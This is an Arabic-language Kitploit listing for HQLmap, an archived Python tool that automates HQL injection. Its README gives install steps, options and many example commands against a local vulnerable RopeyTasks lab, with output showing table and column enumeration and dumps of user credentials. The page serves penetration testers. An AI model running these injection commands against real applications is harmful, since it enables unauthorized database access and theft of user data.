Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HQLmap — (مُهمَل) HQLmap، أداة تلقائية لاستغلال حقن HQL | Kitploit
أدوات/GitHubGitHub/paulsec/hqlmap
ماسحات الثغرات الأمنيةاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقأمن قواعد البياناتArchived
GitHubpaulsec/hqlmap

HQLmap

(مُهمَل) HQLmap، أداة تلقائية لاستغلال حقن HQL

عرض المستودع
228436منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

HQLMap

تم إنشاء هذا المشروع لاستغلال ثغرات HQL Injections.
تمت كتابة الأداة بلغة Python وهي مُصدرة بموجب رخصة MIT.
التطوير المستقبلي: لديّ في الاعتبار تطوير وحدة خاصة بـ SQLmap.

أين يمكنك تجربة الأداة؟

إذا كنت تريد بيئة ضعيفة سريعة يمكنك تجربة الأداة فيها، أنصحك باستخدام RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/

علاوة على ذلك، إذا كنت تريد مزيدًا من المعلومات حول HQLi، راجع منشور المدونة هذا: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

التثبيت

لتثبيت هذا المشروع، يكفي فقط استنساخه عن طريق كتابة:

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

الاستخدام

لاستخدام هذا المشروع، انتقل إلى المجلد:

root@kitploit:~
cd HQLmap

ثم شغّل المشروع:

root@kitploit:~
python HQLmap.py

سيتم بعدها عرض طريقة الاستخدام:

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

الاستخدام

يتضمن هذا الجزء سيناريوهات مختلفة.

التحقق مما إذا كان المضيف عرضة للثغرة

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

الناتج بسيط جدًا:

root@kitploit:~
Host seems vulnerable.

التحقق باستخدام POSTDATA

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

تعداد الجداول

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

إليك الناتج:

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

عند القيام بمثل هذا التعداد، يستخدم الماسح الضوئي الملف الافتراضي لأسماء الجداول إذا لم يتم تحديد واحد.
الملف الافتراضي هو: db/tables.db

تعداد الأعمدة

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

عند إجراء هذا التعداد، يستخدم الماسح الضوئي الملف الافتراضي لأسماء الجداول ولأسماء الأعمدة أيضًا.
الملفات الافتراضية هي:

للجداول: db/tables.db
للأعمدة: db/columns.db

التحقق من وجود جدول معين

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

والناتج:

root@kitploit:~
[-] Table foo does not exist.

تعداد أعمدة جدول معين

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

والناتج:

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

التحقق من وجود عمود معين لجدول معين

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

والناتج:

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

خيارات تحديد البصمة

الحصول على عدد صفوف جدول

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

أو لجميع الجداول:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

والناتج:

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

الحصول على مستخدم قاعدة البيانات

للقيام بمثل هذا الإجراء، تحتاج إلى تحديد جدول (أو كل الجداول باستخدام العلم --tables) وإضافة العلم --user بهذه الطريقة:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

والناتج (بعد بضع ثوانٍ):

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

لاسترجاع المستخدم، نفّذت خوارزمية مشابهة جدًا لتقنية الانقسام الثنائي «المتغير».

تفريغ قاعدة البيانات

كل الجداول من قاعدة البيانات

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

والناتج:

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

جدول معين من قاعدة البيانات

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

والناتج:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

عمود معين من قاعدة البيانات

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

والناتج:

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

الخاتمة (والترخيص)

لا تتردد في تقديم ملاحظاتك وطلب ميزات جديدة.

المشروع مُصدر بموجب رخصة MIT.

تنزيل الأداة